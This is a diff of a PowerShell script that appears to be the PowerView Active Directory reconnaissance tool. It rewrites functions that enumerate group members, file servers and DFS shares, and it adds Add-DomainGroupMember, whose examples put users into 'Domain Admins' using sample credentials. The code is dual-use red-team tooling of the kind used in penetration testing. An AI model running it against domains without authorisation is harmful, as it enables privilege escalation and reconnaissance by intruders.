$GuidByteString = (([Guid]$IdentityInstance).ToByteArray() | ForEach-Object { '\' + $_.ToString('X2') }) -join '' + $IdentityFilter += "(objectguid=$GuidByteString)" + } + elseif ($IdentityInstance.Contains('\')) { + $ConvertedIdentityInstance = $IdentityInstance.Replace('\28', '(').Replace('\29', ')') | Convert-ADName -OutputType Canonical + if ($ConvertedIdentityInstance) { + $GroupDomain = $ConvertedIdentityInstance.SubString(0, $ConvertedIdentityInstance.IndexOf('/')) + $GroupName = $IdentityInstance.Split('\')[1] + $IdentityFilter += "(samAccountName=$GroupName)" + $SearcherArguments['Domain'] = $GroupDomain + Write-Verbose "[Get-DomainGroupMember] Extracted domain '$GroupDomain' from '$IdentityInstance'" + $GroupSearcher = Get-DomainSearcher @SearcherArguments + } + } + else { + $IdentityFilter += "(samAccountName=$IdentityInstance)" + } } - elseif ($SID) { - $GroupSearcher.filter = "(&(objectCategory=group)(objectSID=$SID)$Filter)" + + if ($IdentityFilter -and ($IdentityFilter.Trim() -ne '') ) { + $Filter += "(|$IdentityFilter)" } - else { - # default to domain admins - $SID = (Get-DomainSID -Domain $TargetDomain -DomainController $TargetDomainController) + "-512" - $GroupSearcher.filter = "(&(objectCategory=group)(objectSID=$SID)$Filter)" + + if ($PSBoundParameters['LDAPFilter']) { + Write-Verbose "[Get-DomainGroupMember] Using additional LDAP filter: $LDAPFilter" + $Filter += "$LDAPFilter" } + $GroupSearcher.filter = "(&(objectCategory=group)$Filter)" + Write-Verbose "[Get-DomainGroupMember] Get-DomainGroupMember filter string: $($GroupSearcher.filter)" try { $Result = $GroupSearcher.FindOne() } catch { + Write-Warning "[Get-DomainGroupMember] Error searching for group with identity '$Identity': $_" $Members = @() } $GroupFoundName = '' + $GroupFoundDN = '' if ($Result) { - $Members = $Result.properties.item("member") - - if($Members.count -eq 0) { + $Members = $Result.properties.item('member') + if ($Members.count -eq 0) { + # ranged searching, thanks @meatballs__ ! $Finished = $False $Bottom = 0 $Top = 0 - while(!$Finished) { + while (-not $Finished) { $Top = $Bottom + 1499 $MemberRange="member;range=$Bottom-$Top" $Bottom += 1500 - - $GroupSearcher.PropertiesToLoad.Clear() - [void]$GroupSearcher.PropertiesToLoad.Add("$MemberRange") - [void]$GroupSearcher.PropertiesToLoad.Add("samaccountname") + $Null = $GroupSearcher.PropertiesToLoad.Clear() + $Null = $GroupSearcher.PropertiesToLoad.Add("$MemberRange") + $Null = $GroupSearcher.PropertiesToLoad.Add('samaccountname') + $Null = $GroupSearcher.PropertiesToLoad.Add('distinguishedname') + try { $Result = $GroupSearcher.FindOne() $RangedProperty = $Result.Properties.PropertyNames -like "member;range=*" $Members += $Result.Properties.item($RangedProperty) - $GroupFoundName = $Result.properties.item("samaccountname")[0] + $GroupFoundName = $Result.properties.item('samaccountname')[0] + $GroupFoundDN = $Result.properties.item('distinguishedname')[0] - if ($Members.count -eq 0) { + if ($Members.count -eq 0) { $Finished = $True } } @@ -5466,46 +9450,44 @@ function Get-NetGroupMember { } } else { - $GroupFoundName = $Result.properties.item("samaccountname")[0] + $GroupFoundName = $Result.properties.item('samaccountname')[0] + $GroupFoundDN = $Result.properties.item('distinguishedname')[0] $Members += $Result.Properties.item($RangedProperty) } + + if ($PSBoundParameters['Domain']) { + $GroupFoundDomain = $Domain + } + else { + # if a domain isn't passed, try to extract it from the found group distinguished name + if ($GroupFoundDN) { + $GroupFoundDomain = $GroupFoundDN.SubString($GroupFoundDN.IndexOf('DC=')) -replace 'DC=','' -replace ',','.' + } + } } - $GroupSearcher.dispose() } - $Members | Where-Object {$_} | ForEach-Object { - # if we're doing the LDAP_MATCHING_RULE_IN_CHAIN recursion + ForEach ($Member in $Members) { if ($Recurse -and $UseMatchingRule) { $Properties = $_.Properties - } + } else { - if($TargetDomainController) { - $Result = [adsi]"LDAP://$TargetDomainController/$_" - } - else { - $Result = [adsi]"LDAP://$_" - } - if($Result){ - $Properties = $Result.Properties - } + $ObjectSearcherArguments = $SearcherArguments.Clone() + $ObjectSearcherArguments['Identity'] = $Member + $ObjectSearcherArguments['Raw'] = $True + $ObjectSearcherArguments['Properties'] = 'distinguishedname,cn,samaccountname,objectsid,objectclass' + $Object = Get-DomainObject @ObjectSearcherArguments + $Properties = $Object.Properties } - if($Properties) { - - $IsGroup = @('268435456','268435457','536870912','536870913') -contains $Properties.samaccounttype - - if ($FullData) { - $GroupMember = Convert-LDAPProperty -Properties $Properties - } - else { - $GroupMember = New-Object PSObject - } - - $GroupMember | Add-Member Noteproperty 'GroupDomain' $TargetDomain + if ($Properties) { + $GroupMember = New-Object PSObject + $GroupMember | Add-Member Noteproperty 'GroupDomain' $GroupFoundDomain $GroupMember | Add-Member Noteproperty 'GroupName' $GroupFoundName + $GroupMember | Add-Member Noteproperty 'GroupDistinguishedName' $GroupFoundDN - if($Properties.objectSid) { - $MemberSID = ((New-Object System.Security.Principal.SecurityIdentifier $Properties.objectSid[0],0).Value) + if ($Properties.objectsid) { + $MemberSID = ((New-Object System.Security.Principal.SecurityIdentifier $Properties.objectsid[0], 0).Value) } else { $MemberSID = $Null @@ -5513,29 +9495,29 @@ function Get-NetGroupMember { try { $MemberDN = $Properties.distinguishedname[0] - - if (($MemberDN -match 'ForeignSecurityPrincipals') -and ($MemberDN -match 'S-1-5-21')) { + if ($MemberDN -match 'ForeignSecurityPrincipals|S-1-5-21') { try { - if(-not $MemberSID) { + if (-not $MemberSID) { $MemberSID = $Properties.cn[0] } - $MemberSimpleName = Convert-SidToName -SID $MemberSID | Convert-ADName -InputType 'NT4' -OutputType 'Simple' - if($MemberSimpleName) { + $MemberSimpleName = Convert-ADName -Identity $MemberSID -OutputType 'DomainSimple' @ADNameArguments + + if ($MemberSimpleName) { $MemberDomain = $MemberSimpleName.Split('@')[1] } else { - Write-Warning "Error converting $MemberDN" + Write-Warning "[Get-DomainGroupMember] Error converting $MemberDN" $MemberDomain = $Null } } catch { - Write-Warning "Error converting $MemberDN" + Write-Warning "[Get-DomainGroupMember] Error converting $MemberDN" $MemberDomain = $Null } } else { # extract the FQDN from the Distinguished Name - $MemberDomain = $MemberDN.subString($MemberDN.IndexOf("DC=")) -replace 'DC=','' -replace ',','.' + $MemberDomain = $MemberDN.SubString($MemberDN.IndexOf('DC=')) -replace 'DC=','' -replace ',','.' } } catch { @@ -5546,507 +9528,831 @@ function Get-NetGroupMember { if ($Properties.samaccountname) { # forest users have the samAccountName set $MemberName = $Properties.samaccountname[0] - } + } else { # external trust users have a SID, so convert it try { - $MemberName = Convert-SidToName $Properties.cn[0] + $MemberName = ConvertFrom-SID -ObjectSID $Properties.cn[0] @ADNameArguments } catch { # if there's a problem contacting the domain to resolve the SID - $MemberName = $Properties.cn + $MemberName = $Properties.cn[0] } } + if ($Properties.objectclass -match 'computer') { + $MemberObjectClass = 'computer' + } + elseif ($Properties.objectclass -match 'group') { + $MemberObjectClass = 'group' + } + elseif ($Properties.objectclass -match 'user') { + $MemberObjectClass = 'user' + } + else { + $MemberObjectClass = $Null + } $GroupMember | Add-Member Noteproperty 'MemberDomain' $MemberDomain $GroupMember | Add-Member Noteproperty 'MemberName' $MemberName + $GroupMember | Add-Member Noteproperty 'MemberDistinguishedName' $MemberDN + $GroupMember | Add-Member Noteproperty 'MemberObjectClass' $MemberObjectClass $GroupMember | Add-Member Noteproperty 'MemberSID' $MemberSID - $GroupMember | Add-Member Noteproperty 'IsGroup' $IsGroup - $GroupMember | Add-Member Noteproperty 'MemberDN' $MemberDN - $GroupMember.PSObject.TypeNames.Add('PowerView.GroupMember') + $GroupMember.PSObject.TypeNames.Insert(0, 'PowerView.GroupMember') $GroupMember # if we're doing manual recursion - if ($Recurse -and !$UseMatchingRule -and $IsGroup -and $MemberName) { - if($FullData) { - Get-NetGroupMember -FullData -Domain $MemberDomain -DomainController $TargetDomainController -Credential $Credential -GroupName $MemberName -Recurse -PageSize $PageSize - } - else { - Get-NetGroupMember -Domain $MemberDomain -DomainController $TargetDomainController -Credential $Credential -GroupName $MemberName -Recurse -PageSize $PageSize - } + if ($PSBoundParameters['Recurse'] -and $MemberDN -and ($MemberObjectClass -match 'group')) { + Write-Verbose "[Get-DomainGroupMember] Manually recursing on group: $MemberDN" + $SearcherArguments['Identity'] = $MemberDN + $Null = $SearcherArguments.Remove('Properties') + Get-DomainGroupMember @SearcherArguments } } } + $GroupSearcher.dispose() } } } -function Get-NetFileServer { +function Add-DomainGroupMember { <# - .SYNOPSIS +.SYNOPSIS - Returns a list of all file servers extracted from user - homedirectory, scriptpath, and profilepath fields. +Adds a domain user (or group) to an existing domain group, assuming +appropriate permissions to do so. - .PARAMETER Domain +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-PrincipalContext - The domain to query for user file servers, defaults to the current domain. +.DESCRIPTION - .PARAMETER DomainController +First binds to the specified domain context using Get-PrincipalContext. +The bound domain context is then used to search for the specified -GroupIdentity, +which returns a DirectoryServices.AccountManagement.GroupPrincipal object. For +each entry in -Members, each member identity is similarly searched for and added +to the group. - Domain controller to reflect LDAP queries through. +.PARAMETER Identity - .PARAMETER TargetUsers +A group SamAccountName (e.g. Group1), DistinguishedName (e.g. CN=group1,CN=Users,DC=testlab,DC=local), +SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1114), or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d202) +specifying the group to add members to. - An array of users to query for file servers. +.PARAMETER Members - .PARAMETER PageSize +One or more member identities, i.e. SamAccountName (e.g. Group1), DistinguishedName +(e.g. CN=group1,CN=Users,DC=testlab,DC=local), SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1114), +or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d202). - The PageSize to set for the LDAP searcher object. +.PARAMETER Domain - .PARAMETER Credential +Specifies the domain to use to search for user/group principals, defaults to the current domain. - A [Management.Automation.PSCredential] object of alternate credentials - for connection to the target domain. +.PARAMETER Credential - .EXAMPLE +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the target domain. - PS C:\> Get-NetFileServer - - Returns active file servers. +.EXAMPLE - .EXAMPLE +Add-DomainGroupMember -Identity 'Domain Admins' -Members 'harmj0y' - PS C:\> Get-NetFileServer -Domain testing - - Returns active file servers for the 'testing' domain. +Adds harmj0y to 'Domain Admins' in the current domain. + +.EXAMPLE + +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Add-DomainGroupMember -Identity 'Domain Admins' -Members 'harmj0y' -Credential $Cred + +Adds harmj0y to 'Domain Admins' in the current domain using the alternate credentials. + +.EXAMPLE + +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +$UserPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +New-DomainUser -SamAccountName andy -AccountPassword $UserPassword -Credential $Cred | Add-DomainGroupMember 'Domain Admins' -Credential $Cred + +Creates the 'andy' user with the specified description and password, using the specified +alternate credentials, and adds the user to 'domain admins' using Add-DomainGroupMember +and the alternate credentials. + +.LINK + +http://richardspowershellblog.wordpress.com/2008/05/25/system-directoryservices-accountmanagement/ #> + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] [CmdletBinding()] - param( + Param( + [Parameter(Position = 0, Mandatory = $True)] + [Alias('GroupName', 'GroupIdentity')] [String] - $Domain, + $Identity, + [Parameter(Mandatory = $True, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] + [Alias('MemberIdentity', 'Member', 'DistinguishedName')] + [String[]] + $Members, + + [ValidateNotNullOrEmpty()] [String] - $DomainController, + $Domain, + + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty + ) + + BEGIN { + $ContextArguments = @{ + 'Identity' = $Identity + } + if ($PSBoundParameters['Domain']) { $ContextArguments['Domain'] = $Domain } + if ($PSBoundParameters['Credential']) { $ContextArguments['Credential'] = $Credential } + + $GroupContext = Get-PrincipalContext @ContextArguments + if ($GroupContext) { + try { + $Group = [System.DirectoryServices.AccountManagement.GroupPrincipal]::FindByIdentity($GroupContext.Context, $GroupContext.Identity) + } + catch { + Write-Warning "[Add-DomainGroupMember] Error finding the group identity '$Identity' : $_" + } + } + } + + PROCESS { + if ($Group) { + ForEach ($Member in $Members) { + if ($Member -match '.+\\.+') { + $ContextArguments['Identity'] = $Member + $UserContext = Get-PrincipalContext @ContextArguments + if ($UserContext) { + $UserIdentity = $UserContext.Identity + } + } + else { + $UserContext = $GroupContext + $UserIdentity = $Member + } + Write-Verbose "[Add-DomainGroupMember] Adding member '$Member' to group '$Identity'" + $Member = [System.DirectoryServices.AccountManagement.Principal]::FindByIdentity($UserContext.Context, $UserIdentity) + $Group.Members.Add($Member) + $Group.Save() + } + } + } +} + + +function Get-DomainFileServer { +<# +.SYNOPSIS + +Returns a list of servers likely functioning as file servers. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-DomainSearcher + +.DESCRIPTION + +Returns a list of likely fileservers by searching for all users in Active Directory +with non-null homedirectory, scriptpath, or profilepath fields, and extracting/uniquifying +the server names. + +.PARAMETER Domain + +Specifies the domain to use for the query, defaults to the current domain. + +.PARAMETER LDAPFilter + +Specifies an LDAP query string that is used to filter Active Directory objects. + +.PARAMETER SearchBase + +The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local" +Useful for OU queries. + +.PARAMETER Server + +Specifies an Active Directory server (domain controller) to bind to. + +.PARAMETER SearchScope + +Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree). + +.PARAMETER ResultPageSize + +Specifies the PageSize to set for the LDAP searcher object. + +.PARAMETER ServerTimeLimit + +Specifies the maximum amount of time the server spends searching. Default of 120 seconds. + +.PARAMETER Tombstone + +Switch. Specifies that the searcher should also return deleted/tombstoned objects. + +.PARAMETER Credential + +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the target domain. + +.EXAMPLE + +Get-DomainFileServer + +Returns active file servers for the current domain. + +.EXAMPLE + +Get-DomainFileServer -Domain testing.local + +Returns active file servers for the 'testing.local' domain. + +.EXAMPLE + +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Get-DomainFileServer -Credential $Cred + +.OUTPUTS + +String + +One or more strings representing file server names. +#> + + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [OutputType([String])] + [CmdletBinding()] + Param( + [Parameter( ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] + [ValidateNotNullOrEmpty()] + [Alias('DomainName', 'Name')] [String[]] - $TargetUsers, + $Domain, + + [ValidateNotNullOrEmpty()] + [Alias('Filter')] + [String] + $LDAPFilter, + + [ValidateNotNullOrEmpty()] + [Alias('ADSPath')] + [String] + $SearchBase, - [ValidateRange(1,10000)] + [ValidateNotNullOrEmpty()] + [Alias('DomainController')] + [String] + $Server, + + [ValidateSet('Base', 'OneLevel', 'Subtree')] + [String] + $SearchScope = 'Subtree', + + [ValidateRange(1, 10000)] [Int] - $PageSize = 200, + $ResultPageSize = 200, + + [ValidateRange(1, 10000)] + [Int] + $ServerTimeLimit, + + [Switch] + $Tombstone, [Management.Automation.PSCredential] - $Credential + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty ) - function SplitPath { - # short internal helper to split UNC server paths - param([String]$Path) + BEGIN { + function Split-Path { + # short internal helper to split UNC server paths + Param([String]$Path) - if ($Path -and ($Path.split("\\").Count -ge 3)) { - $Temp = $Path.split("\\")[2] - if($Temp -and ($Temp -ne '')) { - $Temp + if ($Path -and ($Path.split('\\').Count -ge 3)) { + $Temp = $Path.split('\\')[2] + if ($Temp -and ($Temp -ne '')) { + $Temp + } } } + + $SearcherArguments = @{ + 'LDAPFilter' = '(&(samAccountType=805306368)(!(userAccountControl:1.2.840.113556.1.4.803:=2))(|(homedirectory=*)(scriptpath=*)(profilepath=*)))' + 'Properties' = 'homedirectory,scriptpath,profilepath' + } + if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase } + if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server } + if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope } + if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize } + if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } + if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone } + if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential } } - $filter = "(!(userAccountControl:1.2.840.113556.1.4.803:=2))(|(scriptpath=*)(homedirectory=*)(profilepath=*))" - Get-NetUser -Domain $Domain -DomainController $DomainController -Credential $Credential -PageSize $PageSize -Filter $filter | Where-Object {$_} | Where-Object { - # filter for any target users - if($TargetUsers) { - $TargetUsers -Match $_.samAccountName - } - else { $True } - } | ForEach-Object { - # split out every potential file server path - if($_.homedirectory) { - SplitPath($_.homedirectory) - } - if($_.scriptpath) { - SplitPath($_.scriptpath) - } - if($_.profilepath) { - SplitPath($_.profilepath) - } - } | Where-Object {$_} | Sort-Object -Unique + PROCESS { + if ($PSBoundParameters['Domain']) { + ForEach ($TargetDomain in $Domain) { + $SearcherArguments['Domain'] = $TargetDomain + $UserSearcher = Get-DomainSearcher @SearcherArguments + # get all results w/o the pipeline and uniquify them (I know it's not pretty) + $(ForEach($UserResult in $UserSearcher.FindAll()) {if ($UserResult.Properties['homedirectory']) {Split-Path($UserResult.Properties['homedirectory'])}if ($UserResult.Properties['scriptpath']) {Split-Path($UserResult.Properties['scriptpath'])}if ($UserResult.Properties['profilepath']) {Split-Path($UserResult.Properties['profilepath'])}}) | Sort-Object -Unique + } + } + else { + $UserSearcher = Get-DomainSearcher @SearcherArguments + $(ForEach($UserResult in $UserSearcher.FindAll()) {if ($UserResult.Properties['homedirectory']) {Split-Path($UserResult.Properties['homedirectory'])}if ($UserResult.Properties['scriptpath']) {Split-Path($UserResult.Properties['scriptpath'])}if ($UserResult.Properties['profilepath']) {Split-Path($UserResult.Properties['profilepath'])}}) | Sort-Object -Unique + } + } } -function Get-DFSshare { +function Get-DomainDFSShare { <# - .SYNOPSIS +.SYNOPSIS + +Returns a list of all fault-tolerant distributed file systems +for the current (or specified) domains. + +Author: Ben Campbell (@meatballs__) +License: BSD 3-Clause +Required Dependencies: Get-DomainSearcher + +.DESCRIPTION + +This function searches for all distributed file systems (either version +1, 2, or both depending on -Version X) by searching for domain objects +matching (objectClass=fTDfs) or (objectClass=msDFS-Linkv2), respectively +The server data is parsed appropriately and returned. + +.PARAMETER Domain + +Specifies the domains to use for the query, defaults to the current domain. + +.PARAMETER SearchBase + +The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local" +Useful for OU queries. + +.PARAMETER Server + +Specifies an Active Directory server (domain controller) to bind to. - Returns a list of all fault-tolerant distributed file - systems for a given domain. +.PARAMETER SearchScope - .PARAMETER Version +Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree). - The version of DFS to query for servers. - 1/v1, 2/v2, or all +.PARAMETER ResultPageSize - .PARAMETER Domain +Specifies the PageSize to set for the LDAP searcher object. - The domain to query for user DFS shares, defaults to the current domain. +.PARAMETER ServerTimeLimit - .PARAMETER DomainController +Specifies the maximum amount of time the server spends searching. Default of 120 seconds. - Domain controller to reflect LDAP queries through. +.PARAMETER Tombstone - .PARAMETER ADSpath +Switch. Specifies that the searcher should also return deleted/tombstoned objects. - The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local" - Useful for OU queries. +.PARAMETER Credential - .PARAMETER PageSize +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the target domain. - The PageSize to set for the LDAP searcher object. +.EXAMPLE - .PARAMETER Credential +Get-DomainDFSShare - A [Management.Automation.PSCredential] object of alternate credentials - for connection to the target domain. +Returns all distributed file system shares for the current domain. - .EXAMPLE +.EXAMPLE - PS C:\> Get-DFSshare +Get-DomainDFSShare -Domain testlab.local - Returns all distributed file system shares for the current domain. +Returns all distributed file system shares for the 'testlab.local' domain. - .EXAMPLE +.EXAMPLE - PS C:\> Get-DFSshare -Domain test +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Get-DomainDFSShare -Credential $Cred - Returns all distributed file system shares for the 'test' domain. +.OUTPUTS + +System.Management.Automation.PSCustomObject + +A custom PSObject describing the distributed file systems. #> + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseDeclaredVarsMoreThanAssignments', '')] + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseApprovedVerbs', '')] + [OutputType('System.Management.Automation.PSCustomObject')] [CmdletBinding()] - param( - [String] - [ValidateSet("All","V1","1","V2","2")] - $Version = "All", + Param( + [Parameter( ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] + [ValidateNotNullOrEmpty()] + [Alias('DomainName', 'Name')] + [String[]] + $Domain, + [ValidateNotNullOrEmpty()] + [Alias('ADSPath')] [String] - $Domain, + $SearchBase, + [ValidateNotNullOrEmpty()] + [Alias('DomainController')] [String] - $DomainController, + $Server, + [ValidateSet('Base', 'OneLevel', 'Subtree')] [String] - $ADSpath, + $SearchScope = 'Subtree', - [ValidateRange(1,10000)] + [ValidateRange(1, 10000)] [Int] - $PageSize = 200, + $ResultPageSize = 200, + + [ValidateRange(1, 10000)] + [Int] + $ServerTimeLimit, + + [Switch] + $Tombstone, [Management.Automation.PSCredential] - $Credential + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty, + + [ValidateSet('All', 'V1', '1', 'V2', '2')] + [String] + $Version = 'All' ) - function Parse-Pkt { - [CmdletBinding()] - param( - [byte[]] - $Pkt - ) - - $bin = $Pkt - $blob_version = [bitconverter]::ToUInt32($bin[0..3],0) - $blob_element_count = [bitconverter]::ToUInt32($bin[4..7],0) - $offset = 8 - #https://msdn.microsoft.com/en-us/library/cc227147.aspx - $object_list = @() - for($i=1; $i -le $blob_element_count; $i++){ - $blob_name_size_start = $offset - $blob_name_size_end = $offset + 1 - $blob_name_size = [bitconverter]::ToUInt16($bin[$blob_name_size_start..$blob_name_size_end],0) - - $blob_name_start = $blob_name_size_end + 1 - $blob_name_end = $blob_name_start + $blob_name_size - 1 - $blob_name = [System.Text.Encoding]::Unicode.GetString($bin[$blob_name_start..$blob_name_end]) - - $blob_data_size_start = $blob_name_end + 1 - $blob_data_size_end = $blob_data_size_start + 3 - $blob_data_size = [bitconverter]::ToUInt32($bin[$blob_data_size_start..$blob_data_size_end],0) - - $blob_data_start = $blob_data_size_end + 1 - $blob_data_end = $blob_data_start + $blob_data_size - 1 - $blob_data = $bin[$blob_data_start..$blob_data_end] - switch -wildcard ($blob_name) { - "\siteroot" { } - "\domainroot*" { - # Parse DFSNamespaceRootOrLinkBlob object. Starts with variable length DFSRootOrLinkIDBlob which we parse first... - # DFSRootOrLinkIDBlob - $root_or_link_guid_start = 0 - $root_or_link_guid_end = 15 - $root_or_link_guid = [byte[]]$blob_data[$root_or_link_guid_start..$root_or_link_guid_end] - $guid = New-Object Guid(,$root_or_link_guid) # should match $guid_str - $prefix_size_start = $root_or_link_guid_end + 1 - $prefix_size_end = $prefix_size_start + 1 - $prefix_size = [bitconverter]::ToUInt16($blob_data[$prefix_size_start..$prefix_size_end],0) - $prefix_start = $prefix_size_end + 1 - $prefix_end = $prefix_start + $prefix_size - 1 - $prefix = [System.Text.Encoding]::Unicode.GetString($blob_data[$prefix_start..$prefix_end]) - - $short_prefix_size_start = $prefix_end + 1 - $short_prefix_size_end = $short_prefix_size_start + 1 - $short_prefix_size = [bitconverter]::ToUInt16($blob_data[$short_prefix_size_start..$short_prefix_size_end],0) - $short_prefix_start = $short_prefix_size_end + 1 - $short_prefix_end = $short_prefix_start + $short_prefix_size - 1 - $short_prefix = [System.Text.Encoding]::Unicode.GetString($blob_data[$short_prefix_start..$short_prefix_end]) - - $type_start = $short_prefix_end + 1 - $type_end = $type_start + 3 - $type = [bitconverter]::ToUInt32($blob_data[$type_start..$type_end],0) - - $state_start = $type_end + 1 - $state_end = $state_start + 3 - $state = [bitconverter]::ToUInt32($blob_data[$state_start..$state_end],0) - - $comment_size_start = $state_end + 1 - $comment_size_end = $comment_size_start + 1 - $comment_size = [bitconverter]::ToUInt16($blob_data[$comment_size_start..$comment_size_end],0) - $comment_start = $comment_size_end + 1 - $comment_end = $comment_start + $comment_size - 1 - if ($comment_size -gt 0) { - $comment = [System.Text.Encoding]::Unicode.GetString($blob_data[$comment_start..$comment_end]) - } - $prefix_timestamp_start = $comment_end + 1 - $prefix_timestamp_end = $prefix_timestamp_start + 7 - # https://msdn.microsoft.com/en-us/library/cc230324.aspx FILETIME - $prefix_timestamp = $blob_data[$prefix_timestamp_start..$prefix_timestamp_end] #dword lowDateTime #dword highdatetime - $state_timestamp_start = $prefix_timestamp_end + 1 - $state_timestamp_end = $state_timestamp_start + 7 - $state_timestamp = $blob_data[$state_timestamp_start..$state_timestamp_end] - $comment_timestamp_start = $state_timestamp_end + 1 - $comment_timestamp_end = $comment_timestamp_start + 7 - $comment_timestamp = $blob_data[$comment_timestamp_start..$comment_timestamp_end] - $version_start = $comment_timestamp_end + 1 - $version_end = $version_start + 3 - $version = [bitconverter]::ToUInt32($blob_data[$version_start..$version_end],0) - - # Parse rest of DFSNamespaceRootOrLinkBlob here - $dfs_targetlist_blob_size_start = $version_end + 1 - $dfs_targetlist_blob_size_end = $dfs_targetlist_blob_size_start + 3 - $dfs_targetlist_blob_size = [bitconverter]::ToUInt32($blob_data[$dfs_targetlist_blob_size_start..$dfs_targetlist_blob_size_end],0) - - $dfs_targetlist_blob_start = $dfs_targetlist_blob_size_end + 1 - $dfs_targetlist_blob_end = $dfs_targetlist_blob_start + $dfs_targetlist_blob_size - 1 - $dfs_targetlist_blob = $blob_data[$dfs_targetlist_blob_start..$dfs_targetlist_blob_end] - $reserved_blob_size_start = $dfs_targetlist_blob_end + 1 - $reserved_blob_size_end = $reserved_blob_size_start + 3 - $reserved_blob_size = [bitconverter]::ToUInt32($blob_data[$reserved_blob_size_start..$reserved_blob_size_end],0) - - $reserved_blob_start = $reserved_blob_size_end + 1 - $reserved_blob_end = $reserved_blob_start + $reserved_blob_size - 1 - $reserved_blob = $blob_data[$reserved_blob_start..$reserved_blob_end] - $referral_ttl_start = $reserved_blob_end + 1 - $referral_ttl_end = $referral_ttl_start + 3 - $referral_ttl = [bitconverter]::ToUInt32($blob_data[$referral_ttl_start..$referral_ttl_end],0) - - #Parse DFSTargetListBlob - $target_count_start = 0 - $target_count_end = $target_count_start + 3 - $target_count = [bitconverter]::ToUInt32($dfs_targetlist_blob[$target_count_start..$target_count_end],0) - $t_offset = $target_count_end + 1 - - for($j=1; $j -le $target_count; $j++){ - $target_entry_size_start = $t_offset - $target_entry_size_end = $target_entry_size_start + 3 - $target_entry_size = [bitconverter]::ToUInt32($dfs_targetlist_blob[$target_entry_size_start..$target_entry_size_end],0) - $target_time_stamp_start = $target_entry_size_end + 1 - $target_time_stamp_end = $target_time_stamp_start + 7 - # FILETIME again or special if priority rank and priority class 0 - $target_time_stamp = $dfs_targetlist_blob[$target_time_stamp_start..$target_time_stamp_end] - $target_state_start = $target_time_stamp_end + 1 - $target_state_end = $target_state_start + 3 - $target_state = [bitconverter]::ToUInt32($dfs_targetlist_blob[$target_state_start..$target_state_end],0) - - $target_type_start = $target_state_end + 1 - $target_type_end = $target_type_start + 3 - $target_type = [bitconverter]::ToUInt32($dfs_targetlist_blob[$target_type_start..$target_type_end],0) - - $server_name_size_start = $target_type_end + 1 - $server_name_size_end = $server_name_size_start + 1 - $server_name_size = [bitconverter]::ToUInt16($dfs_targetlist_blob[$server_name_size_start..$server_name_size_end],0) - - $server_name_start = $server_name_size_end + 1 - $server_name_end = $server_name_start + $server_name_size - 1 - $server_name = [System.Text.Encoding]::Unicode.GetString($dfs_targetlist_blob[$server_name_start..$server_name_end]) - - $share_name_size_start = $server_name_end + 1 - $share_name_size_end = $share_name_size_start + 1 - $share_name_size = [bitconverter]::ToUInt16($dfs_targetlist_blob[$share_name_size_start..$share_name_size_end],0) - $share_name_start = $share_name_size_end + 1 - $share_name_end = $share_name_start + $share_name_size - 1 - $share_name = [System.Text.Encoding]::Unicode.GetString($dfs_targetlist_blob[$share_name_start..$share_name_end]) - - $target_list += "\\$server_name\$share_name" - $t_offset = $share_name_end + 1 - } - } - } - $offset = $blob_data_end + 1 - $dfs_pkt_properties = @{ - 'Name' = $blob_name - 'Prefix' = $prefix - 'TargetList' = $target_list - } - $object_list += New-Object -TypeName PSObject -Property $dfs_pkt_properties - $prefix = $null - $blob_name = $null - $target_list = $null - } - - $servers = @() - $object_list | ForEach-Object { - if ($_.TargetList) { - $_.TargetList | ForEach-Object { - $servers += $_.split("\")[2] - } - } - } - - $servers - } - - function Get-DFSshareV1 { - [CmdletBinding()] - param( - [String] - $Domain, - - [String] - $DomainController, + BEGIN { + $SearcherArguments = @{} + if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase } + if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server } + if 